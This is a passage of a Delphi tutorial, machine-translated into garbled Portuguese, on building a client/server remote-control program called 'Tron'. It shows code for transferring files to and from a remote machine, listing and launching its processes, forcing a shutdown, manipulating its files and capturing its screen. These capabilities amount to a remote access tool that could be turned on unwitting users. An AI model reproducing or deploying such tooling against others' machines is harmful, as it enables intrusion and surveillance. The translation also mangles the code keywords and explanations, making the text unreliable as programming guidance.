CState := CSIdle; {7}  

FS.Free;  

PBar.Position := 0;  

Memo1.Lines.Add (' * * Carregou! * * ');  

Buf := ''; fim; exclua  

Memo1.Lines.Add (' Erro que escreve arquivo. '); fim; fim; fim;  

Você poderá agora compilar ambas as partes de sua aplicação e  

teste. Há pouco ponha o arquivo remoto você gostaria de carregar dentro seu  

ToDownload Edit (POR EXEMPLO: c:\file.txt), e onde e debaixo de que nome isto  

seja carregue como em seu DownloadAs Edit(E.G: c:\folder\file.txt).  

Eu marquei as linhas que poderiam precisar alguns explicando:  
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1. o caso declaração é amável de como um se declaração. Há pouco é  

dizendo se é então o caso de qualquer condição debaixo disto entre nisso  

condições codificam bloco.  

2. aqui nós temos nossa condição para nosso caso declaração. Termina dentro um  

cólon e tem um comece abaixo marcar o começo de seu bloco de código.  

3. aqui nós estamos movendo nosso PBar dependendo adiante de quantos dados nós  

recebeu há pouco usando o método de StepBy.  

4. nós já criamos nosso TFileStream (FS) assim nós não precisamos  

crie novamente. Nós há pouco precisamos escrever a isto os dados receberam que  

Buf segurará. Este é usando terminado o método de .Write. Agora você pode  

notou nós usamos nosso Buf amarram variável como uma ordem aqui  

‘Buf[1] '–mas uma variável de fio realmente há pouco é igual uma ordem, I.E,:  

você pode pôr um índice do fio entre suspensórios e pode trabalhar com  

aquele caráter no fio (eles não são zero fundados). Nós somos  

realmente há pouco declaração aqui Escreve do primeiro caráter em Buf, para  

o Comprimento inteiro dos dados em Buf (escreva todos os dados em FS).  

5. o Dec () procedimento só decrementos 1 ou um valor especificou  

de uma variável. Aqui nós estamos especificando para menos o comprimento inteiro de  

nossos dados de Buf de TheFileSize. Nós fazemos isto para o próximo ponto.  

6. se lembre TheFileSize iguala o tamanho de arquivo total do arquivo que nós somos  

recebendo. Cada tempo pelo OnRead (cada tempo nós recebemos alguns  

mais dados) nós escrevemos isto e então menos isso sobre de dados de  

TheFileSize com o Dec () procedimento em ponto 5. Aqui nós conferimos se nós  

recebeu todos os dados, I.E: se TheFileSize tem 0 anos.  

7. nós estaremos dentro deste bloco de código quando nós recebemos todos o  

dados assim é um lugar para bater tudo para cima. Fixe o interruptor atrás para  

inativo (CState := CSIdle) porque nós já não estamos recebendo um arquivo,  

livre o TFileStream Object porque nós já não estamos trabalhando com isto,  

fixe a Posição de nosso PBar atrás ao começo, e deixe o usuário  

saiba carregou. Também é uma idéia boa para clarear o Buf de  

memória nomeando isto nada ('').  

É uma idéia boa para incapacitar todos seus componentes enquanto um arquivo for  

sendo transferido. Deste modo, o usuário não poderá clicar  

outro Botão ou tenta fazendo qualquer outra coisa enquanto o carregue está dentro  

progresso. Tentando fazer qualquer outra coisa por exemplo: abrindo um CD-ROM  

enquanto carregando romperiam que as informações transferem e talvez  

cause erros. Você precisaria escrever um procedimento para incapacitar todos seu  

componentes e um os habilitar todo novamente, e então os chama a  

o tempo apropriado. Aqui é um exemplo:  

procedimento TForm1.DisableComponents; comece  

IPBox.Enabled := Falso;  

Memo1.Enabled := Falso;  

ToDownload.Enabled := Falso;  

DownloadAs.Enabled := Falso;  

Button3.Enabled := Falso; fim;  

Como você componentes novos acrescentam a seu Cliente, não esqueça dos somar  

seu procedimento de DisableComponents. Se lembre de somar um EnableComponents  

(depois que você escreva este procedimento claro que) chame seu evento de OnError  

aswell, porque se algo der errado, você não quer deixar tudo  

seus componentes incapacitaram.  
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A ETIQUETA DE ERRO:  

Se lembre como nosso Servidor envia ‘<ERROROCRD> ' quando há uma exceção  

elevado e informa atrás que erro aconteceu–bem nós precisamos  

receba isto e exiba o erro. Aqui é nosso evento de OnRead de nosso  

Cliente:  

se Pos (' <ERROROCRD> ', Buf) = 1 então  

comece  

Delete(Buf, 1, 11);  

Memo1.Lines.Add (' * * Erro: ' + Buf); fim;  

Ponha que depois do último Pos () bloco de código, mas antes do caso  

bloco de declaração. Isso é bem direto.  

Bem lá você tem isto - você pode carregar um arquivo do Servidor. Por  

o modo, você poderia querer mudar o propriedade Lisa de seu PBar para Retificar  

mas isso é sua chamada.  

- COMO PARA UPLOAD UM ARQUIVO PARA O SERVIDOR -  

Tudo que você precisa fazer aqui são inversos o todo carregue rotina de arquivo.  

Eu caminharei brevemente de qualquer maneira por isto–lugar outro Botão em seu  

Forme, sua legenda deveria ser ‘Upload ' (use o & criar um atalho  

se você gosta). Lugar dois Edita em sua Forma, nomeie um ToUpload e o  

outro UploadAs. Aqui é o OnClick de seu Botão:  

procedimento TForm1.Button4Click(Sender: TObject); var  

LocalFile: fio;  

FS2: TFileStream;  

TheFileSize: inteireza;  

UploadingAs: fio; comece  

se ClientSocket1.Active então  

comece  

LocalFile := ToUpload.Text;  

UploadingAs := UploadAs.Text; se FileExists(LocalFile) então  

prova  

FS2 := TFILESTREAM.CREATE(LOCALFILE, FMOPENREAD);  

FS2.Position := 0;  

TheFileSize := FS2.Size;  

CLIENTSOCKET1.SOCKET.SENDTEXT (' <UPLOADING> ' + UPLOADINGAS  

+ ' * ' + IntToStr(TheFileSize) + ' | ');  

Memo1.Lines.Add (' * * Uploading arquivam... * * ');  

ClientSocket1.Socket.SendStream(FS2); exclua  

Memo1.Lines.Add (' * * Erro que envia * * '); fim  

outro comece  

Memo1.Lines.Add (' * * Erro: Arquivo não existe. '); fim; fim; fim;  

Agora deixa movimento ao lado de servidor, e pôs este código dentro seu  

Evento de OnClientRead (só debaixo do último pedaço de código em lá):  
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se Pos (' <UPLOADING> ', Buf) = 1 então  

comece  

prova  

StoreAs := Copy(Buf, 12, Pos (' * ', Buf)-12);  

FS2 := TFileStream.Create(StoreAs, fmCreate ou fmOpenWrite);  

Index1 := (Length(Buf) - Pos (' | ', Buf) )+1;  

LengthOfSize := Length(Buf) - Pos (' * ', Buf)-Index1;  

DataLength := StrToInt(Copy(Buf, Pos (' * ', Buf)+1,  

LengthOfSize));  

Delete(Buf, 1, Pos (' | ', Buf));  

SState := SSReceivingFile; exclua  

FS2.Free;  

Socket.SendText (' <uploading de ERROROCRD>Error arquivam. ');  

SState := SSIdle; fim; fim;  

caso SState de  

SSReceivingFile: comece  

prova  

FS2.Write(Buf[1], Length(Buf));  

Dec (DataLength, Length(Buf)); se DataLength = 0 então  

comece  

SState := SSIdle;  

FS2.Free;  

Socket.SendText (' <THERESULT>File Uploaded! '); fim;  

Buf := ''; exclua  

Socket.SendText (' <ERROROCRD>Error que escreve arquivo. ');  

FS2.Free;  

SState := SSIdle; fim; fim;  

fim;  

É bem parecido ao com o qual nós tivemos antes o carregue código. Há pouco  

um par de coisas: Você precisará declarar o siga global  

variáveis:  

SState: TServerStatus;  

StoreAs: fio;  

FS2: TFileStream;  

DataLength: inteireza;  

Index1: inteireza;  

LengthOfSize: inteireza;  

O SState é nosso interruptor que você precisará declarar no tipo  

seção como: TServerStatus = (SSIdle, SSReceivingFile);  

Nós fizemos tudo isso antes. Há pouco se lembre que o initialisation  

amarre nós recebemos do Cliente que declara que nós somos aproximadamente para upload  

um arquivo é algo assim: <UPLOADING>c:\file.txt*1231 | - Assim nós  

tenha o nome de arquivo nós somos uploading isto como, e o tamanho. Eu pus dentro  

o ‘* ' e o ‘| ' como para Pos () referências ao demolir o  

fio. Estes caráter foram usados como Windows não o permita  

incluir estes símbolos em nomes de arquivo.  
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Eu traspassarei como nós demolimos o fio e adquirimos o nome de arquivo  

em StoreAs e o arquivo classifique segundo o tamanho em DataLength.  

OK, Buf será inicialmente algo como (dependendo que file/size):  

<UPLOADING>c:\file.txt*1231 |  

Saindo o nome de arquivo de Buf e em StoreAs é bastante simples assim  

Eu passarei para entrar o tamanho na variável de DataLength.  

Primeiramente, nós precisamos determinar se há qualquer coisa seguindo o  

‘| '–se lembre como eu mencionei o envie poderia não estar separado–nós  

possa receber um pedaço grosso dos dados de arquivo junto com nosso fio de etiqueta aqui  

em um vá. Nós fazemos isto para descobrir:  

Index1 := (Length(Buf) - Pos (' | ', Buf) )+1;  

Index1 conterá o comprimento de qualquer dados agora depois do ‘| sinal de '.  

Aqui é uma demonstração (eu somei a seção corajosa para um exemplo):  

Buf = <UPLOADING>c:\file.txt*1231|%%*%*AbigChunkOfFileData%% *% *  

O Comprimento () de nosso Buf devolveriam 57. O Pos () pedaço devolveria  

28. 57–28 = 29, então some um para o ‘| ' assinam = 30 que são o  

tamanho do pedaço em tipo negrito. Se nós não tivéssemos recebido nenhum dados de arquivo com nosso  

fio de etiqueta, Index1 igualaria há pouco um (o +1 pedaço) para o ‘| '.  

Agora nós precisamos adquirir o comprimento atual (quantos caráter) do  

tamanho mordeu em LengthOfSize. Confirme aquela linha, eu estou seguro você pode  

trabalhe fora o que vai em lá. Finalmente nós adquirimos nosso pedaço de tamanho nomeado  

para DataLength por usar Pos (), Cópia () e StrToInt ().  

Finalmente, se lembre no lado de Servidor nós enviamos uma declaração de etiqueta <THERESULT>  

- você precisará escrever algo para este igual você fez com o  

<ERROROCRD> - só acrescentar a informação a seu Memorando.  

NOTA: Nós não usamos nosso PBar aqui para o upload.  

- COMO ADQUIRIR UMA LISTA DE PROCESSOS QUE CORREM NA MÁQUINA REMOTA -  

Agora você poderia querer ter um Botão em seu labelled de Forma Lista de ‘  

Processos ', ou como faz Tron, tenha um Edita caixa com que você pode digitar  

um comando como lp de ‘' e tem uma lista de processo devolvida. Aqui é como:  

O LADO DE CLIENTE:  

Coloque outro Edite em sua Forma. Isto Edita vai ser nosso comando  

encaixote como quem diz. Fixe ser CommandBox e apagar para a propriedade de Nome  

o texto na propriedade de Texto. Crie um evento de OnKeyDown para seu  

CommandBox e pôs neste código:  

se (Chave = VK_RETURN) então {Isto deveria estar bonito}  

comece {realmente clareie, só}  

TheCommand := CommandBox.Text; {se lembre de declarar}  

Memo1.Lines.Add(CommandBox.Text); {TheCommand como um habitante}  

CommandBox.Clear; {variável de fio. }  

se TheCommand = ' lp' então  

comece  

ClientSocket1.Socket.SendText (' <LISTPROCE> '); fim; fim;  
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O LADO DE SERVIDOR:  

O Servidor precisará identificar a etiqueta primeiramente <LISTPROCE>. Ponha  

isto em seu OnClientRead (logo antes o caso bloco–bem você  

poderia ter posto isto depois disso ou tudo que, mas eu prefiro manter caso  

blocos ao término do evento):  

se Pos (' <LISTPROCE> ', Buf) = 1 então  

comece  

ListProcesses; fim;  

Nós estamos chamando uma rotina de ListProcesses aqui, o qual nós precisaremos  

escreva como segue (você precisará acrescentar ‘TLHELP32 ' a seus usos liste):  

procedimento TForm1.ListProcesses; var  

TheHandle: THandle; {Conterá uma manivela a processos correntes}  

TheData: TProcessEntry32; {acrescente TLHELP32 a seus usos liste}  

NumOfProc: inteireza;  

função GetName: fio; {Como isto uma função é local para}  

var {este procedimento você não será}  

AByte: Byte; {chamando isto diretamente de seu}  

comece {TForm1, assim você não precisa}  

Resulte := ''; {declare. }  

AByte := 0; enquanto TheData.szExeFile[AByte] <> '' faça  

comece  

Resulte := Resulte + TheData.szExeFile[AByte];  

Inc(AByte); fim;  

fim;  

comece  

SLOfProcs := TStringList.Create; {Crie nosso SLOfProcs. }  

se SLOfProcs.Count <> 0 então {se há qualquer cordas dentro o}  

comece {lista, então clareie a lista. }  

SLOfProcs.Clear; fim;  

{1} TheHandle := CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0); {2} se Process32First(TheHandle, TheData) então  

comece  

{3} SLOfProcs.Add(GetName); {4} enquanto Process32Next(TheHandle, TheData) faça  

SLOfProcs.Add(GetName); fim  

outro comece  

ServerSocket1.Socket.Connections[0] .SendText  

(' <ERROROCRD>Can não listam processos. '); fim;  

{5} para NumOfProc := 0 para SLOfProcs.Count -1 fazem  

comece  

SLOfProcs[NumOfProc] := ' <' + IntToStr(NumOfProc) + '> ' + ' '  

+ SLOfProcs[NumOfProc]; fim;  

{6} ServerSocket1.Socket.Connections[0] .SendText  

(' <PROCELIST> ' + INTTOSTR(LENGTH(SLOFPROCS.TEXT)) + ' | ' +  SLOfProcs.Text);

Você precisará declarar uma lista de fio global assim:  

SLOfProcs: TStringList;  

Corrija, agora isso poderia parecer complicado, mas eu comentei pedaços e  

numerado os pontos importantes. Aqui é uma lista dos pontos:  

1. nós estamos nomeando nosso THandle com o do qual nós chamamos um instantâneo o  

processos de sistema correntes naquele momento. Nós estamos fazendo isto por um  

API chamam a uma função CreateToolhelp32Snapshot ().  

2. aqui nós estamos chamando este API para recobrar o primeiro processo corrente  

informação. Nós passamos a manivela do instantâneo criado para isto, e então  

passe TheData para isto. Quando nós passamos TheData como o qual nós declaramos um  

TProcessEntry32, nós somos amáveis de nomear informação de TheData aproximadamente  

o primeiro processo corrente. Nós estamos fazendo um se declaração que o  

API funcionam Process32First devolverá Verdadeiro se um instantâneo foi  

prosperamente criado e assim nós entraremos em seu bloco de código.  

3. aqui nós chamamos nossa função GetName que devolverá o caminho e  

exe nomeiam da primeira corrida de processo e acrescentam isto a nosso TStringList.  

4. aqui nós damos laçada por cada processo no instantâneo e chamamos nosso  

GetName para cada processo. Assim nós estamos adquirindo todo o resto do  

caminhos de processos e nomes de arquivo em nosso TStringList.  

5. isto está nomeando há pouco cada processo na lista um número dentro  

os sinais: <>. Por exemplo ' <1> c:\windows\notepad.exe ' para o  

primeiro processe na lista. O segundo processo teria <2>... etc.  

6. finalmente, nós enviamos nosso TStringList contendo a lista de processos  

para o Cliente. Nós também estamos enviando o tamanho da lista aqui assim o  

O cliente saberá quando recebeu todos os dados.  

ATRÁS PARA O LADO DE CLIENTE:  

Declare um inteireza global TheSizeOfList variável. Isto será usado  

determine quando nós recebemos a lista inteira. Ponha este código dentro seu  

Evento de OnRead:  

se Pos (' <PROCELIST> ', Buf) = 1 então  

comece  

TheSizeOfList := StrToInt(Copy(Buf, 12, Pos (' | ', Buf)-12));  

Delete(Buf, 1, Pos (' | ', Buf));  

CState := CSReceivingProcList; fim;  

Eu vou chamar este tipo de código um ' identifier' de etiqueta - assim pôs seu  

identifier de etiqueta codificam depois do último identifier de etiqueta em seu OnRead, mas  

antes de seu caso bloco.  

Primeiramente nós cortamos fora a informação de tamanho e nomeamos isto para  

TheSizeOfList inteireza variável que usa Pos (), Cópia () e StrToInt ().  

Então nós apagamos a informação de tamanho dos dados recebidos. Então nós  

fixe nosso CState trocam a CSReceivingProcList para o qual você terá  

acrescente a seus interruptores como segue (em sua seção de tipo):  

TClientStatus = (CSIdle, CSReceivingFile, CSReceivingProcList);  

Agora nós precisamos somar nosso CSReceivingProcList troque a nosso caso bloco.  

Tão longe você terá algo assim em seu caso seção:  
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caso CState de  

CSReceivingFile: comece  

/ / código para receber o arquivo  

fim;  

fim;  

Você quererá somar este pedaço de código para receber a lista de processo:  

CSReceivingProcList: comece  

Memo1.Lines.Add(Buf);  

Dec(TheSizeOfList, Length(Buf)); se TheSizeOfList = 0 então  

comece  

CState := CSIdle; fim; fim;  

Assim nós estamos somando há pouco a lista (Buf) para nosso Memorando, então decrementing  

a quantia que nós recebemos de TheSizeOfList, e se nós temos  

recebido tudo fixou o interruptor atrás a CSIdle. E isso é isto. Compile  

ambos os lados, tipo ' lp' em seu CommandBox, imprensa entra e assiste o  

lista devolveu.  

- COMO GERAR UM PROCESSO NA MÁQUINA REMOTA -  

Esta característica lhe permitirá digitar algo como ' sp  

c:\windows\notepad.exe ' em seu CommandBox, entra imprensa, e tem o  

Ova de marisco de máquina de servidor que processo (aberto aquele programa).  

O LADO DE CLIENTE:  

Ponha isto no OnKeyDown de seu CommandBox:  

se Copy(TheCommand, 1, 2) = ' sp' então  

comece  

CLIENTSOCKET1.SOCKET.SENDTEXT (' <SPAWNPROC> ' +  

Copy(TheCommand, 4, Length(TheCommand))); fim;  

Se o usuário digita ' sp c:\program.exe ' então isto será enviado o  

Servidor: ' <SPAWNPROC>c:\program.exe '.  

O LADO DE SERVIDOR:  

se Pos (' <SPAWNPROC> ', Buf) = 1 então  

comece  

Delete(Buf, 1, 11); se ShellExecute(0, nada, PChar(Buf), nada, nada, SW_NORMAL)> 32 começam então  

Socket.SendText (' <THERESULT>Process Spawned: ' + Buf); fim  

outro comece  

Socket.SendText (' <ERROROCRD>Error que gera processo. '); fim; fim;  
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Você precisará pôr aquele identifier de etiqueta codifique em seu ServerSocket  

Evento de OnClientRead.  

Gerar o processo nós usamos o ShellExecute função de API. Usar  

isto que você precisará acrescentar ShellAPI a sua lista de usos. Esta função  

lucros um número maior que 32 se tem êxito que significa nós  

há pouco precise correr um se maior que 32 então tinha êxito, outro,  

significa não era.  

Como com todas as rotinas de API você pode ganhar informação útil no  

sintaxe e funcionalidade da Microsoft Fomentador Network:  

www.msdn.microsoft.com - procura para ShellExecute para mais informação  

em usar este API funcione.  

- COMO ABRIR E FECHAR O CD-ROM DA MÁQUINA REMOTA -  

Aqui nós usaremos um Botão com sua Legenda fixada ' &Open CD-ROM ', e  

quando clicou abrirá o CD-ROM da máquina de Servidor. O Botão  

legenda mudará ' C&lose CD-ROM ' quando clicou, assim se é  

clicado em uma segunda vez, fechará o CD-ROM da máquina de Servidor.  

Nota que eu não usei: &Close - porque nosso já conecte Botão  

tem o atalho de &C (quer dizer, se você mudasse seu Conecte Botão  

Legenda para ' &Connect ').  

Embora eu estou lhe mostrando como implementar estas características meu modo (em  

o mesmo modo como Tron se você usou isto), sinta livre implementar  

eles como você gosta. Isso disse, coloque um Botão em sua Forma e mudança  

sua legenda para ' &Open CD-ROM '. Aqui é o evento de OnClick para isto  

Botão:  

procedimento TForm1.Button5Click(Sender: TObject);  

comece  

se ClientSocket1.Active então  

comece  

se Button5.Caption = ' &Open CD-ROM ' então  

comece  

CLIENTSOCKET1.SOCKET.SENDTEXT (' <OPENCDROM> ');  

Button5.Caption := ' C&lose CD-ROM '; fim  

outro comece  

CLIENTSOCKET1.SOCKET.SENDTEXT (' <CLOSECDRM> ');  

Button5.Caption := ' &Open CD-ROM '; fim; fim; fim;  

Note que este é meu 5º Botão, então Button5.Caption. não Faça  

esqueça de ajustar para vestir sua própria aplicação. Isso é selfexplanatory  

assim deixa escreva o OnClientRead de nosso Servidor etiquetam identifier  

código:  

se Pos (' <OPENCDROM> ', Buf) = 1 então  

comece  

OpenCD; fim;  

Isso é o pedaço para identificar o Cliente quer que nós abramos o CD-ROM. Isto  

está chamando uma rotina para há pouco fazer que que olhares assim:  
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procedimento TForm1.OpenCD; comece  

se mciSendString (' porta de cdaudio fixa wait' aberto, nada, 0, manivela) = 0 começam então  

ServerSocket1.Socket.Connections[0] .SendText  

(' <THERESULT>CD-ROM: Aberto. '); fim  

outro comece  

ServerSocket1.Socket.Connections[0] .SendText  

(' <ERROROCRD>Could não abrem CD-ROM. '); fim; fim;  

Abrir o passeio de CD nós usamos uma chamada de API à função de mciSendString  

que devolve 0 se próspero. Ok, agora para o CD passeio código íntimo,:  

se Pos (' <CLOSECDRM> ', Buf) = 1 então  

comece  

CloseCD; fim;  

Há seu identifier de etiqueta codificam, e aqui é a rotina de CloseCD:  

procedimento TForm1.CloseCD; comece  

se mciSendString (' porta de cdaudio fixa fechou wait',nil,0,handle) = 0 começam então  

ServerSocket1.Socket.Connections[0] .SendText  

(' <THERESULT>CD-ROM: Fechado. '); fim  

outro comece  

ServerSocket1.Socket.Connections[0] .SendText  

(' <ERROROCRD>Could não fecham CD-ROM. '); fim; fim;  

Nós estamos fazendo o mesmo API chamar aqui mas este tempo, enquanto passando isto um  

fio diferente. O ' pedaço de closed' de porta é algo este API  

função reconhece e fechará o passeio de CD. Note isso para usar  

este API chama você precisará acrescentar MMSystem a sua lista de usos.  

NOTA: Você poderia ter posto todo o código requerido em seu OnClientRead  

em lugar da chamada para estas rotinas. Há pouco é muito mais limpo isto  

modo e você não enchem para cima seu evento de OnClientRead de código.  

Neste momento você ganhou bastante conhecimento para começar escritura seu  

próprio código e pensando aproximadamente como você pode implementar cada seção. De  

este onwards de ponto eu vou principalmente há pouco lhe dando as rotinas que  

você pode usar em sua aplicação. Eu farei só exceções a isto  

se há que algo que eu penso requer mais explicação. Se lembre  

use o Delphi ajudam se você for inseguro sobre qualquer coisa.  

- COMO FECHAR A MÁQUINA REMOTA -  

Use este API chamam:  

ExitWindowSEx(EWX_FORCE ou EWX_SHUTDOWN, 0);  

Aquela linha forçará um reinicie do sistema. Isto deveria ser usado como um  

por último recorre como pudesse danificar dados potencialmente.  
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- COMO COPIAR UM ARQUIVO DE UM LUGAR PARA OUTRO -  

Não confunda isto com carregar um arquivo. Implementar esta característica  

há pouco pense aproximadamente como você pode enviar um fio ao servidor conter  

claro que uma etiqueta que o declara quer copiar um arquivo: ' <ACOPYFILE> ' para  

exemplo, e então nome de arquivo velho e caminho, e o nome de arquivo novo e  

caminho. Aqui é uma função de API para copiar o arquivo:  

COPYFILE(PCHAR(COPYFROM), PCHAR(COPYTO), VERDADEIRO)  

CopyFrom seria uma variável de fio que você nomeou para o arquivo  

ser copiado, e CopyTo - outra variável de fio que vai  

contenha o arquivo novo e caminho. POR EXEMPLO:  

CopyFrom pôde = ' c:\file.txt '  

..and CopyTo pôde = ' c:\folder\file.txt '  

Assim você há pouco precisaria usar rotinas como Pos () e Cópia () cortar  

fora cada mordeu e os nomeia qualquer variável. Esta função vai  

retorno Verdadeiro se próspero.  

- COMO MOVER UM ARQUIVO -  

Aqui você usaria o CopyFile () API funcionam novamente, e você vai  

faça uma coisa semelhante como você fez com sua característica de arquivo de cópia mas isto  

tempo soma código para apagar o pedaço de CopyFrom. O código para apagar um arquivo  

é:  

DeleteFile(TheFile);  

Assim você enviaria para o servidor algo semelhante para CopyFile () - o  

arquivo inicial, e onde vai ser movido, e uma declaração de etiqueta  

algo como ' <AMOVEFILE> '. Quando seu Servidor reconhece isto você  

tenha que escrever para um procedimento copiar o arquivo e então apagar o  

original, e chama isto.  

- COMO FAZER UM DIRETÓRIO (O MD) -  

Use esta função:  

CreateDir ()  

Leva um fio como um parâmetro, assim você pudesse fazer algo como:  

CreateDir (' c:\NewDirectory ');  

/ / ou talvez:  

CreateDir(MyStringVariableContainingNewDir);  

Esta função devolverá o Boolean avaliam ' True' - se o diretório  

foi criado prosperamente. Isto significa você poderia fazer algo como:  

se CreateDir(TheNewDir) = Retifique então  

comece  

ServerSocket1.Socket.Connections[0] .SendText  

(' <Diretório de THERESULT>New criou prosperamente! '); fim;  
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Você também poderia programar um outro seção que envia uma etiqueta de erro para o  

Cliente que declara que o diretório novo não pudesse ser criado.  

- COMO RENOMEAR UM ARQUIVO -  

Use esta função:  

RenameFile ()  

Aceita dois parâmetros, o primeiro em sendo o nome de arquivo velho e o  

segundo ser o nome de arquivo novo. Aqui são alguns exemplos:  

RenameFile (' c:\file.txt ', ' c:\MyNewFileName.txt ');  

/ / ou:  

RenameFile(StrVarContainingOldName, StringVarContainingNewName);  

Esta função devolverá um Verdadeiro valor se próspero.  

- COMO APAGAR UM ARQUIVO -  

Você já viu uma vez esta função no pedaço de arquivo de movimento:  

DeleteFile ();  

Requer um fio que contém o caminho e nome de arquivo. Se nenhum caminho é  

especificado, tentará apagar o arquivo no diretório de qual  

o Servidor está correndo.  

- COMO ADQUIRIR O TAMANHO DE UM ARQUIVO -  

O modo que eu usado adquiro o tamanho de um arquivo é criar um  

TFileStream do arquivo, e então você pode fazer há pouco MyFileStream.Size.  

Isto devolverá o tamanho porém em bytes, se você quer converter isto  

a kilobyte sugiro eu que você faz algo assim:  

var  

TheFile: TFileStream; comece  

TheFile := TFileStream.Create(FileToGetSizeOf, fmOpenRead);  

ServerSocket1.Socket.Connections[0] .SendText  

(' <THERESULT> [' + (Formato ('% .1fKB ', [TheFile.Size / 1024])) +  

'] ');  

TheFile.Free;  

O que nós voltaríamos do Servidor aqui é algo como:  

<THERESULT>[234.12kb] - assim você há pouco precisaria apagar a etiqueta e  

exiba o Buf (o Cliente Buf lateral claro que) valor em seu Memorando.  

Eu acrescentei os suspensórios a isto, mas tato livre exibir isto  

informação como você gosta. Talvez você quer fixar a legenda de um Rótulo o  

tamanho do arquivo, é completamente sua escolha.  

- COMO OBTER O TEMPO DE SISTEMA REMOTO -  

Quando Tron conectar ao servidor de Tron, eu tenho um isto no OnConnect  

evento de meu ClientSocket:  
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CLIENTSOCKET1.SOCKET.SENDTEXT (' <SYSTMTIME> ');  

Quando o servidor reconhece esta etiqueta em seu OnClientRead como segue:  

se Pos (' <SYSTMTIME> ', Buf) = 1 então  

comece  

Socket.SendText (' <THETIMEIS> ' + TimeToStr(Now)); fim;  

Manda de volta o tempo como mostrado, enquanto usando o TimeToStr () função.  

Então, atrás no lado de Cliente, eu tem reconhece a etiqueta -  

<THETIMEIS>, apague a etiqueta, e fixe o Legenda de meu Rótulo de tempo para o  

tempo. Também, eu tenho a mesma chamada como eu faço no evento de OnConnect dentro  

meu evento de OnClick de meu rótulo de tempo - assim pede o tempo atual  

quando clicou.  

- COMO CAPTURAR A TELA REMOTA -  

Eu traspassarei esta característica em mais detalhe como expõe alguns  

conceitos novos. Você precisará ter implementado o carregue arquivo  

caracterize para esta seção. Também, se você está usando o incapacite / habilite  

procedimentos de componentes que eu detalhei mais cedo, este seria um lugar bom  

incapacitar seus componentes enquanto a captura de tela é em desenvolvimento.  

Nós vamos estar trabalhando com um componente de captura de tela aqui que  

você precisará carregar do internet como não é incluído  

com Delphi. Eu explicarei em passos como carregar e instalar o  

componente. A propósito, se você está correndo dois exemplos de Delphi,  

economize ambas as partes de sua aplicação e feche uma versão enquanto  

nós instalamos este componente novo. A versão de Delphi que você partiu  

aberto - clique Arquivo, Feche Tudo - como nós há pouco queremos um Delphi em branco  

correndo. Se incitou para economizar seu projeto, não esqueça de clicar SIM.  

O componente do que nós precisamos é chamado: TScreenCapture v.1.01. Você pode  

carregue de qualquer um dos locais seguintes:  

http://www.torry.net/vcl/graphics/displaying/ctkscreencapture.exe  

http://www.xpaperx.com/files/ctkscreencapture.exe  

Carregue a sua pasta de papéis de Delphi. Corrida uma vez carregada o  

ScreenCapture.exe (ou tudo que você carregou isto como). UMA caixa vai popup  

e o deixou especificar o caminho. É uma idéia boa para instalar isto  

em algum lugar em sua pasta de papéis de Delphi (POR EXEMPLO: c:\Delphi6\ScreenCapture).  

Uma vez instalado uma aplicação de demonstração se aparecerá. Você pode  

feche que abaixo. Agora aba para Delphi e trinco: Componente, Instale  

Componente... Isto exporá um ' Instale caixa de Component'. A Unidade  

seção será em branco assim clica o Folheie botão próximo a isto. Localize  

sua TScreenCapture componente pasta de papéis (o lugar onde você instalou  

isto), e haverá um ScreenCapture.pas em lá. Selecione que e  

faça tique-taque Aberto. Agora clique o OK no ' Instale caixa de Component'.  

Uma mensagem para confirmar isto se aparecerá dizendo: ' Pacote dclusr.bpl  

será construído instalado então. Continue? ' - clique Sim. Outro  

caixa de informação mostrará há pouco confirmando isto foi instalado.  

Clique o OK.  

O ScreenCapture.pas será aberto automaticamente nesta fase assim  

Arquivo seleto, Feche Tudo. Você será incitado com:  
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' Exceto mudanças projetar dclusr? ' Clique Sim. Você pode abrir agora seu  

aplicação separa novamente.  

Agora se você olha para sua Paleta de Componente (você poderia ter que enrolar  

ao longo de um pequeno - dependendo qual versão de Delphi tem você) lá  

seja uma aba nova: TenKSupport - e debaixo desta aba nosso ScreenCapture  

Componente.  

Corrija, agora começar funcionamento em nossa característica de captura de tela.  

O CLIENTE:  

Coloque um Botão em sua Forma e fixe a Legenda a algo como  

' Boné Screen'. Aqui é o OnClick evento código para este Botão:  

se ClientSocket1.Active então  

comece  

STOREDLOCALAS := ' £ £3X£S2$1A29.JPG ';  

ClientSocket1.Socket.SendText (' <GETTHECAP> '); fim;  

Se lembre de nosso StoredLocalAs variável de fio global - é usado quando  

nós carregamos um arquivo como o nome e local onde será  

carregado. Note que eu não incluí o caminho de nossa imagem de JPG. Isto  

meios que será armazenado no mesmo caminho como nós somos dentro no momento  

(o mesmo caminho como o Cliente está correndo dentro). eu usei o nome  

' £ £3x£s2$1a29.jpg ' como é altamente improvável que haverá um JPG  

imagem já daquele nome.  

O SERVIDOR:  

Passando para o Servidor, você precisará derrubar seu ScreenCapture  

componente em sua Forma de Servidor. Fixe sua propriedade de Jpeg para Retificar como nós  

não queira estar adquirindo .bmp esconda bonés. Eles são muito muito grande.  

OK, agora nós precisamos identificar a etiqueta em nosso OnClientRead e levar, e  

economize um boné de tela:  

se Pos (' <GETTHECAP> ', Buf) = 1 então  

comece  

{1} ScreenCapture1.GetScreenShot;  

{2} ScreenCapture1.Shot2.SaveToFile (' $$3x£s2$1a29.jpg ');  

{3} RequestedFile := ' $$3x£s2$1a29.jpg ';  

{4} SendClientFile; fim;  

1. isto é como nós levamos um screenshot que usa nosso ScreenCapture  

componente. É armazenado em memória dinâmica.  

2. aqui nós estamos economizando o boné de tela de memória dinâmica abaixo  

outro nome de geringonça - mas ligeiramente diferente ao nome no  

Lado de cliente; ' $$' em vez de ' £ £ '.  

3. nós fixamos nosso boné de tela para ser um arquivo pedido que usa nosso velho  

RequestedFile variável de fio global.  

4. agora nós precisamos chamar nosso procedimento que enviará o arquivo.  

Nós vamos precisar acrescentar algum código a nosso procedimento de SendClientFile  

apagar nosso arquivo de captura de tela depois que nós enviássemos isto para o  

Cliente. Nós precisaremos somar código logo após esta linha:  
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ServerSocket1.Socket.Connections[0] .SendStream(FS);  

Some isto:  

se FileExists (' $$3x£s2$1a29.jpg ') então  

comece  

DeleteFile (' $$3x£s2$1a29.jpg '); fim;  

Isso deveria ser posto dentro logo antes o salvo palavra chave - só limpar  

para cima depois de enviar o boné.  

ATRÁS PARA O CLIENTE:  

Agora em Tron eu usei outra Forma para exibir o boné de tela. Eu vou  

mostre para você que método aqui.  

Vá Arquivar, Novo, Forma - criar uma Forma nova para seu Cliente. Agora  

coloque um componente de Imagem (debaixo da aba Adicional de seu Componente  

Paleta) nesta Forma e fixou seu Alinhe propriedade a alClient. Também  

